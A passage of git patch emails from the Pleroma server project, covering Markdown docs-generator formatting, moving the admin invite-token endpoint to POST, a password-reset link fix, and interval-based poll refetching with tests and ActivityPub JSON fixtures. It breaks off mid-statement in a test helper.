diff --git a/lib/pleroma/docs/markdown.ex b/lib/pleroma/docs/markdown.ex
index 739e4fce3..fc6389064 100644
--- a/lib/pleroma/docs/markdown.ex
+++ b/lib/pleroma/docs/markdown.ex
@@ -73,13 +73,15 @@ defp print_suggestions(_file, nil), do: nil
defp print_suggestions(_file, ""), do: nil
defp print_suggestions(file, suggestions) do
- IO.write(file, "Suggestions:\n")
-
if length(suggestions) > 1 do
+ IO.write(file, "Suggestions:\n")
+
for suggestion <- suggestions do
print_suggestion(file, suggestion, true)
end
else
+ IO.write(file, "Suggestion:\n")
+
print_suggestion(file, List.first(suggestions))
end
end
From d2097fd0f5d5d6750de09243cb5720b161305790 Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 22:33:32 +0200
Subject: [PATCH 037/148] markdown.ex: \n\n on >1 suggestions, 2-spaces on one
---
lib/pleroma/docs/markdown.ex | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/lib/pleroma/docs/markdown.ex b/lib/pleroma/docs/markdown.ex
index fc6389064..280fe0309 100644
--- a/lib/pleroma/docs/markdown.ex
+++ b/lib/pleroma/docs/markdown.ex
@@ -74,13 +74,13 @@ defp print_suggestions(_file, ""), do: nil
defp print_suggestions(file, suggestions) do
if length(suggestions) > 1 do
- IO.write(file, "Suggestions:\n")
+ IO.write(file, "\n\nSuggestions:\n")
for suggestion <- suggestions do
print_suggestion(file, suggestion, true)
end
else
- IO.write(file, "Suggestion:\n")
+ IO.write(file, " Suggestion: ")
print_suggestion(file, List.first(suggestions))
end
From 4785596a2cf638570b35afc91babbb0ac8309981 Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 22:55:29 +0200
Subject: [PATCH 038/148] markdown.ex: end suggestions list with a newline
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Otherwise we end up with suggestion on the same level as the childs
Markdown is a fuck…
---
lib/pleroma/docs/markdown.ex | 2 ++
mix.exs | 3 ++-
2 files changed, 4 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/docs/markdown.ex b/lib/pleroma/docs/markdown.ex
index 280fe0309..27be1b095 100644
--- a/lib/pleroma/docs/markdown.ex
+++ b/lib/pleroma/docs/markdown.ex
@@ -79,6 +79,8 @@ defp print_suggestions(file, suggestions) do
for suggestion <- suggestions do
print_suggestion(file, suggestion, true)
end
+
+ IO.write(file, "\n")
else
IO.write(file, " Suggestion: ")
diff --git a/mix.exs b/mix.exs
index 58d1606d3..e4fe5adf4 100644
--- a/mix.exs
+++ b/mix.exs
@@ -174,7 +174,8 @@ defp aliases do
"ecto.rollback": ["pleroma.ecto.rollback"],
"ecto.setup": ["ecto.create", "ecto.migrate", "run priv/repo/seeds.exs"],
"ecto.reset": ["ecto.drop", "ecto.setup"],
- test: ["ecto.create --quiet", "ecto.migrate", "test"]
+ test: ["ecto.create --quiet", "ecto.migrate", "test"],
+ docs: ["pleroma.docs", "docs"]
]
end
From e501c822c98edb675b71b25d165fdf8df8447c27 Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Tue, 17 Sep 2019 23:02:24 +0200
Subject: [PATCH 039/148] markdown.ex: put two-spaces before the
description-newline
---
lib/pleroma/docs/markdown.ex | 8 +++-----
1 file changed, 3 insertions(+), 5 deletions(-)
diff --git a/lib/pleroma/docs/markdown.ex b/lib/pleroma/docs/markdown.ex
index 27be1b095..68b106499 100644
--- a/lib/pleroma/docs/markdown.ex
+++ b/lib/pleroma/docs/markdown.ex
@@ -47,12 +47,12 @@ def process(descriptions) do
defp print_child_header(file, %{key: key, type: type, description: description} = _child) do
IO.write(
file,
- "- `#{inspect(key)}` (`#{inspect(type)}`): #{description}\n"
+ "- `#{inspect(key)}` (`#{inspect(type)}`): #{description} \n"
)
end
defp print_child_header(file, %{key: key, type: type} = _child) do
- IO.write(file, "- `#{inspect(key)}` (`#{inspect(type)}`)\n")
+ IO.write(file, "- `#{inspect(key)}` (`#{inspect(type)}`) \n")
end
defp print_suggestion(file, suggestion) when is_list(suggestion) do
@@ -74,13 +74,11 @@ defp print_suggestions(_file, ""), do: nil
defp print_suggestions(file, suggestions) do
if length(suggestions) > 1 do
- IO.write(file, "\n\nSuggestions:\n")
+ IO.write(file, "Suggestions:\n")
for suggestion <- suggestions do
print_suggestion(file, suggestion, true)
end
-
- IO.write(file, "\n")
else
IO.write(file, " Suggestion: ")
From ea6d4137dac60ae23e15ab29901a84d8468baf3e Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Tue, 17 Sep 2019 21:24:21 +0000
Subject: [PATCH 040/148] Apply suggestion to CHANGELOG.md
---
CHANGELOG.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 1f0d55e9b..f3f38b817 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -131,7 +131,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
### Removed
- Federation: Remove `likes` from objects.
-- ActivityPub: The `accept_blocks` configuration setting.
+- **Breaking:** ActivityPub: The `accept_blocks` configuration setting.
## [1.0.4] - 2019-08-01
### Fixed
From 4faf2b1555f004664005e0efddb9815ebca4c5c7 Mon Sep 17 00:00:00 2001
From: Alex S
Date: Fri, 6 Sep 2019 17:14:31 +0300
Subject: [PATCH 041/148] post for creating invite tokens in admin api
---
CHANGELOG.md | 4 ++
docs/api/admin_api.md | 16 ++++++-
.../web/admin_api/admin_api_controller.ex | 18 ++++++--
lib/pleroma/web/router.ex | 2 +-
.../admin_api/admin_api_controller_test.exs | 46 +++++++------------
5 files changed, 49 insertions(+), 37 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index f3f38b817..a8342b16c 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -23,7 +23,11 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- **Breaking:** Configuration: A setting to explicitly disable the mailer was added, defaulting to true, if you are using a mailer add `config :pleroma, Pleroma.Emails.Mailer, enabled: true` to your config
- **Breaking:** Configuration: `/media/` is now removed when `base_url` is configured, append `/media/` to your `base_url` config to keep the old behaviour if desired
- **Breaking:** `/api/pleroma/notifications/read` is moved to `/api/v1/pleroma/notifications/read` and now supports `max_id` and responds with Mastodon API entities.
+- **Breaking:** `/api/pleroma/admin/users/invite_token` now uses `POST`, changed accepted params and returns full invite in json instead of only token string.
- Configuration: added `config/description.exs`, from which `docs/config.md` is generated
+- Configuration: OpenGraph and TwitterCard providers enabled by default
+- Configuration: Filter.AnonymizeFilename added ability to retain file extension with custom text
+- Mastodon API: `pleroma.thread_muted` key in the Status entity
- Federation: Return 403 errors when trying to request pages from a user's follower/following collections if they have `hide_followers`/`hide_follows` set
- NodeInfo: Return `skipThreadContainment` in `metadata` for the `skip_thread_containment` option
- NodeInfo: Return `mailerEnabled` in `metadata`
diff --git a/docs/api/admin_api.md b/docs/api/admin_api.md
index 9362e3d78..a8c75d93f 100644
--- a/docs/api/admin_api.md
+++ b/docs/api/admin_api.md
@@ -226,13 +226,25 @@ Note: Available `:permission_group` is currently moderator and admin. 404 is ret
### Get an account registration invite token
-- Methods: `GET`
+- Methods: `POST`
- Params:
- *optional* `invite` => [
- *optional* `max_use` (integer)
- *optional* `expires_at` (date string e.g. "2019-04-07")
]
-- Response: invite token (base64 string)
+- Response:
+
+```json
+{
+ "id": integer,
+ "token": string,
+ "used": boolean,
+ "expires_at": date,
+ "uses": integer,
+ "max_use": integer,
+ "invite_type": string (possible values: `one_time`, `reusable`, `date_limited`, `reusable_date_limited`)
+}
+```
## `/api/pleroma/admin/users/invites`
diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex
index 2a1cc59e5..41ded7343 100644
--- a/lib/pleroma/web/admin_api/admin_api_controller.ex
+++ b/lib/pleroma/web/admin_api/admin_api_controller.ex
@@ -402,11 +402,21 @@ def email_invite(%{assigns: %{user: user}} = conn, %{"email" => email} = params)
@doc "Get a account registeration invite token (base64 string)"
def get_invite_token(conn, params) do
- options = params["invite"] || %{}
- {:ok, invite} = UserInviteToken.create_invite(options)
+ opts = %{}
- conn
- |> json(invite.token)
+ opts =
+ if params["max_use"],
+ do: Map.put(opts, :max_use, params["max_use"]),
+ else: opts
+
+ opts =
+ if params["expires_at"],
+ do: Map.put(opts, :expires_at, params["expires_at"]),
+ else: opts
+
+ {:ok, invite} = UserInviteToken.create_invite(opts)
+
+ json(conn, AccountView.render("invite.json", %{invite: invite}))
end
@doc "Get list of created invites"
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index 401133bf3..5779d27d2 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -180,7 +180,7 @@ defmodule Pleroma.Web.Router do
post("/relay", AdminAPIController, :relay_follow)
delete("/relay", AdminAPIController, :relay_unfollow)
- get("/users/invite_token", AdminAPIController, :get_invite_token)
+ post("/users/invite_token", AdminAPIController, :get_invite_token)
get("/users/invites", AdminAPIController, :invites)
post("/users/revoke_invite", AdminAPIController, :revoke_invite)
post("/users/email_invite", AdminAPIController, :email_invite)
diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs
index c497ea098..5f36d42e4 100644
--- a/test/web/admin_api/admin_api_controller_test.exs
+++ b/test/web/admin_api/admin_api_controller_test.exs
@@ -574,18 +574,6 @@ test "it returns 500 if `registrations_open` is enabled", %{conn: conn, user: us
end
end
- test "/api/pleroma/admin/users/invite_token" do
- admin = insert(:user, info: %{is_admin: true})
-
- conn =
- build_conn()
- |> assign(:user, admin)
- |> put_req_header("accept", "application/json")
- |> get("/api/pleroma/admin/users/invite_token")
-
- assert conn.status == 200
- end
-
test "/api/pleroma/admin/users/:nickname/password_reset" do
admin = insert(:user, info: %{is_admin: true})
user = insert(:user)
@@ -1064,7 +1052,7 @@ test "PATCH /api/pleroma/admin/users/:nickname/toggle_activation" do
"@#{admin.nickname} deactivated user @#{user.nickname}"
end
- describe "GET /api/pleroma/admin/users/invite_token" do
+ describe "POST /api/pleroma/admin/users/invite_token" do
setup do
admin = insert(:user, info: %{is_admin: true})
@@ -1076,10 +1064,10 @@ test "PATCH /api/pleroma/admin/users/:nickname/toggle_activation" do
end
test "without options", %{conn: conn} do
- conn = get(conn, "/api/pleroma/admin/users/invite_token")
+ conn = post(conn, "/api/pleroma/admin/users/invite_token")
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
refute invite.expires_at
refute invite.max_use
@@ -1088,12 +1076,12 @@ test "without options", %{conn: conn} do
test "with expires_at", %{conn: conn} do
conn =
- get(conn, "/api/pleroma/admin/users/invite_token", %{
- "invite" => %{"expires_at" => Date.to_string(Date.utc_today())}
+ post(conn, "/api/pleroma/admin/users/invite_token", %{
+ "expires_at" => Date.to_string(Date.utc_today())
})
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
assert invite.expires_at == Date.utc_today()
@@ -1102,13 +1090,10 @@ test "with expires_at", %{conn: conn} do
end
test "with max_use", %{conn: conn} do
- conn =
- get(conn, "/api/pleroma/admin/users/invite_token", %{
- "invite" => %{"max_use" => 150}
- })
+ conn = post(conn, "/api/pleroma/admin/users/invite_token", %{"max_use" => 150})
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
refute invite.expires_at
assert invite.max_use == 150
@@ -1117,12 +1102,13 @@ test "with max_use", %{conn: conn} do
test "with max use and expires_at", %{conn: conn} do
conn =
- get(conn, "/api/pleroma/admin/users/invite_token", %{
- "invite" => %{"max_use" => 150, "expires_at" => Date.to_string(Date.utc_today())}
+ post(conn, "/api/pleroma/admin/users/invite_token", %{
+ "max_use" => 150,
+ "expires_at" => Date.to_string(Date.utc_today())
})
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
assert invite.expires_at == Date.utc_today()
assert invite.max_use == 150
From 2263c8b6b9260bee7dedeaff3d2ce955df12f08b Mon Sep 17 00:00:00 2001
From: Alex S
Date: Fri, 6 Sep 2019 17:20:44 +0300
Subject: [PATCH 042/148] little fixes
---
lib/pleroma/web/admin_api/admin_api_controller.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex
index 41ded7343..d25c21e33 100644
--- a/lib/pleroma/web/admin_api/admin_api_controller.ex
+++ b/lib/pleroma/web/admin_api/admin_api_controller.ex
@@ -400,7 +400,7 @@ def email_invite(%{assigns: %{user: user}} = conn, %{"email" => email} = params)
end
end
- @doc "Get a account registeration invite token (base64 string)"
+ @doc "Get an account registration invite token"
def get_invite_token(conn, params) do
opts = %{}
From 17ff63b3c34e6e70580be98e71b353d1f0684222 Mon Sep 17 00:00:00 2001
From: Alex S
Date: Sat, 7 Sep 2019 08:56:22 +0300
Subject: [PATCH 043/148] docs fix
---
docs/api/admin_api.md | 6 ++----
1 file changed, 2 insertions(+), 4 deletions(-)
diff --git a/docs/api/admin_api.md b/docs/api/admin_api.md
index a8c75d93f..577f802ac 100644
--- a/docs/api/admin_api.md
+++ b/docs/api/admin_api.md
@@ -228,10 +228,8 @@ Note: Available `:permission_group` is currently moderator and admin. 404 is ret
- Methods: `POST`
- Params:
- - *optional* `invite` => [
- - *optional* `max_use` (integer)
- - *optional* `expires_at` (date string e.g. "2019-04-07")
- ]
+ - *optional* `max_use` (integer)
+ - *optional* `expires_at` (date string e.g. "2019-04-07")
- Response:
```json
From a18f1e7cd7addf8aee9c56643f4f0531e1c5b5a0 Mon Sep 17 00:00:00 2001
From: Alex S
Date: Fri, 13 Sep 2019 08:07:29 +0300
Subject: [PATCH 044/148] namings
---
docs/api/admin_api.md | 2 +-
lib/pleroma/web/admin_api/admin_api_controller.ex | 4 ++--
lib/pleroma/web/router.ex | 2 +-
3 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/docs/api/admin_api.md b/docs/api/admin_api.md
index 577f802ac..7637fa0d4 100644
--- a/docs/api/admin_api.md
+++ b/docs/api/admin_api.md
@@ -224,7 +224,7 @@ Note: Available `:permission_group` is currently moderator and admin. 404 is ret
## `/api/pleroma/admin/users/invite_token`
-### Get an account registration invite token
+### Create an account registration invite token
- Methods: `POST`
- Params:
diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex
index d25c21e33..8a8091daa 100644
--- a/lib/pleroma/web/admin_api/admin_api_controller.ex
+++ b/lib/pleroma/web/admin_api/admin_api_controller.ex
@@ -400,8 +400,8 @@ def email_invite(%{assigns: %{user: user}} = conn, %{"email" => email} = params)
end
end
- @doc "Get an account registration invite token"
- def get_invite_token(conn, params) do
+ @doc "Create an account registration invite token"
+ def create_invite_token(conn, params) do
opts = %{}
opts =
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index 5779d27d2..b9b85fd67 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -180,7 +180,7 @@ defmodule Pleroma.Web.Router do
post("/relay", AdminAPIController, :relay_follow)
delete("/relay", AdminAPIController, :relay_unfollow)
- post("/users/invite_token", AdminAPIController, :get_invite_token)
+ post("/users/invite_token", AdminAPIController, :create_invite_token)
get("/users/invites", AdminAPIController, :invites)
post("/users/revoke_invite", AdminAPIController, :revoke_invite)
post("/users/email_invite", AdminAPIController, :email_invite)
From 384b7dd40dd484146d267ba4e12f750184365bfc Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Wed, 18 Sep 2019 18:06:49 +0300
Subject: [PATCH 045/148] Fix response
---
lib/pleroma/web/admin_api/admin_api_controller.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex
index 4421b30c8..54ab6e032 100644
--- a/lib/pleroma/web/admin_api/admin_api_controller.ex
+++ b/lib/pleroma/web/admin_api/admin_api_controller.ex
@@ -438,7 +438,7 @@ def get_password_reset(conn, %{"nickname" => nickname}) do
conn
|> json(%{
token: token.token,
- link: "#{protocol}://#{host}/api/pleroma/password_reset/#{token}"
+ link: "#{protocol}://#{host}/api/pleroma/password_reset/#{token.token}"
})
end
From 7ef575d11e46247d1f64dd09d992e532cb8c5c37 Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Wed, 18 Sep 2019 18:13:21 +0300
Subject: [PATCH 046/148] Initial poll refresh support
Implement refreshing the object with an interval and call the function
when getting the poll.
---
lib/pleroma/object.ex | 18 ++++
lib/pleroma/object/fetcher.ex | 17 +++-
.../controllers/mastodon_api_controller.ex | 2 +-
test/fixtures/tesla_mock/poll_modified.json | 1 +
test/fixtures/tesla_mock/poll_original.json | 1 +
test/fixtures/tesla_mock/rin.json | 1 +
test/object_test.exs | 86 +++++++++++++++++++
test/support/http_request_mock.ex | 4 +
8 files changed, 126 insertions(+), 4 deletions(-)
create mode 100644 test/fixtures/tesla_mock/poll_modified.json
create mode 100644 test/fixtures/tesla_mock/poll_original.json
create mode 100644 test/fixtures/tesla_mock/rin.json
diff --git a/lib/pleroma/object.ex b/lib/pleroma/object.ex
index 5033798ae..640e068e5 100644
--- a/lib/pleroma/object.ex
+++ b/lib/pleroma/object.ex
@@ -38,6 +38,24 @@ def change(struct, params \\ %{}) do
def get_by_id(nil), do: nil
def get_by_id(id), do: Repo.get(Object, id)
+ def get_by_id_and_maybe_refetch(id, opts \\ []) do
+ %{updated_at: updated_at} = object = get_by_id(id)
+
+ if opts[:interval] &&
+ NaiveDateTime.diff(updated_at, NaiveDateTime.utc_now()) > opts[:interval] do
+ case Fetcher.refetch_object(object) do
+ {:ok, %Object{} = object} ->
+ object
+
+ e ->
+ Logger.error("Couldn't refresh #{object.data["id"]}:\n#{inspect(e)}")
+ object
+ end
+ else
+ object
+ end
+ end
+
def get_by_ap_id(nil), do: nil
def get_by_ap_id(ap_id) do
diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex
index c1795ae0f..da1ebd8b3 100644
--- a/lib/pleroma/object/fetcher.ex
+++ b/lib/pleroma/object/fetcher.ex
@@ -7,17 +7,19 @@ defmodule Pleroma.Object.Fetcher do
alias Pleroma.Object
alias Pleroma.Object.Containment
alias Pleroma.Signature
+ alias Pleroma.Repo
alias Pleroma.Web.ActivityPub.InternalFetchActor
alias Pleroma.Web.ActivityPub.Transmogrifier
alias Pleroma.Web.OStatus
require Logger
- defp reinject_object(data) do
+ defp reinject_object(struct, data) do
Logger.debug("Reinjecting object #{data["id"]}")
with data <- Transmogrifier.fix_object(data),
- {:ok, object} <- Object.create(data) do
+ changeset <- Object.change(struct, %{data: data}),
+ {:ok, object} <- Repo.insert_or_update(changeset) do
{:ok, object}
else
e ->
@@ -26,6 +28,15 @@ defp reinject_object(data) do
end
end
+ def refetch_object(%Object{data: %{"id" => id}} = object) do
+ with {:ok, data} <- fetch_and_contain_remote_object_from_id(id),
+ {:ok, object} <- reinject_object(object, data) do
+ {:ok, object}
+ else
+ e -> {:error, e}
+ end
+ end
+
# TODO:
# This will create a Create activity, which we need internally at the moment.
def fetch_object_from_id(id, options \\ []) do
@@ -57,7 +68,7 @@ def fetch_object_from_id(id, options \\ []) do
{:reject, nil}
{:object, data, nil} ->
- reinject_object(data)
+ reinject_object(%Object{}, data)
{:normalize, object = %Object{}} ->
{:ok, object}
diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
index 060137b80..970cfd8db 100644
--- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
@@ -485,7 +485,7 @@ def get_context(%{assigns: %{user: user}} = conn, %{"id" => id}) do
end
def get_poll(%{assigns: %{user: user}} = conn, %{"id" => id}) do
- with %Object{} = object <- Object.get_by_id(id),
+ with %Object{} = object <- Object.get_by_id_and_maybe_refetch(id, interval: 60),
%Activity{} = activity <- Activity.get_create_by_object_ap_id(object.data["id"]),
true <- Visibility.visible_for_user?(activity, user) do
conn
diff --git a/test/fixtures/tesla_mock/poll_modified.json b/test/fixtures/tesla_mock/poll_modified.json
new file mode 100644
index 000000000..1d026b592
--- /dev/null
+++ b/test/fixtures/tesla_mock/poll_modified.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":8,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":3,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"}
\ No newline at end of file
diff --git a/test/fixtures/tesla_mock/poll_original.json b/test/fixtures/tesla_mock/poll_original.json
new file mode 100644
index 000000000..267876b3c
--- /dev/null
+++ b/test/fixtures/tesla_mock/poll_original.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":4,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":0,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"}
\ No newline at end of file
diff --git a/test/fixtures/tesla_mock/rin.json b/test/fixtures/tesla_mock/rin.json
new file mode 100644
index 000000000..2cf623764
--- /dev/null
+++ b/test/fixtures/tesla_mock/rin.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"attachment":[],"endpoints":{"oauthAuthorizationEndpoint":"https://patch.cx/oauth/authorize","oauthRegistrationEndpoint":"https://patch.cx/api/v1/apps","oauthTokenEndpoint":"https://patch.cx/oauth/token","sharedInbox":"https://patch.cx/inbox"},"followers":"https://patch.cx/users/rin/followers","following":"https://patch.cx/users/rin/following","icon":{"type":"Image","url":"https://patch.cx/media/4e914f5b84e4a259a3f6c2d2edc9ab642f2ab05f3e3d9c52c81fc2d984b3d51e.jpg"},"id":"https://patch.cx/users/rin","image":{"type":"Image","url":"https://patch.cx/media/f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg?name=f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg"},"inbox":"https://patch.cx/users/rin/inbox","manuallyApprovesFollowers":false,"name":"rinpatch","outbox":"https://patch.cx/users/rin/outbox","preferredUsername":"rin","publicKey":{"id":"https://patch.cx/users/rin#main-key","owner":"https://patch.cx/users/rin","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5DLtwGXNZElJyxFGfcVc\nXANhaMadj/iYYQwZjOJTV9QsbtiNBeIK54PJrYuU0/0YIdrvS1iqheX5IwXRhcwa\nhm3ZyLz7XeN9st7FBni4BmZMBtMpxAuYuu5p/jbWy13qAiYOhPreCx0wrWgm/lBD\n9mkgaxIxPooBE0S4ZWEJIDIV1Vft3AWcRUyWW1vIBK0uZzs6GYshbQZB952S0yo4\nFzI1hABGHncH8UvuFauh4EZ8tY7/X5I0pGRnDOcRN1dAht5w5yTA+6r5kebiFQjP\nIzN/eCO/a9Flrj9YGW7HDNtjSOH0A31PLRGlJtJO3yK57dnf5ppyCZGfL4emShQo\ncQIDAQAB\n-----END PUBLIC KEY-----\n\n"},"summary":"your friendly neighborhood pleroma developer
I like cute things and distributed systems, and really hate delete and redrafts","tag":[],"type":"Person","url":"https://patch.cx/users/rin"}
\ No newline at end of file
diff --git a/test/object_test.exs b/test/object_test.exs
index ba96aeea4..72e36316c 100644
--- a/test/object_test.exs
+++ b/test/object_test.exs
@@ -89,4 +89,90 @@ test "does not fetch unknown objects when fetch_remote is false" do
)
end
end
+
+ describe "get_by_id_and_maybe_refetch" do
+ test "refetches if the time since the last refetch is greater than the interval" do
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_modified.json")}
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
+ end
+
+ test "returns the old object if refetch fails" do
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ %Tesla.Env{status: 404, body: ""}
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+ end
+
+ test "does not refetch if the time since the last refetch is greater than the interval" do
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_modified.json")}
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100)
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+ end
+ end
end
diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex
index 231e7c498..833162a61 100644
--- a/test/support/http_request_mock.ex
+++ b/test/support/http_request_mock.ex
@@ -1004,6 +1004,10 @@ def get("https://skippers-bin.com/users/7v1w1r8ce6", _, _, _) do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sjw.json")}}
end
+ def get("https://patch.cx/users/rin", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/rin.json")}}
+ end
+
def get(url, query, body, headers) do
{:error,
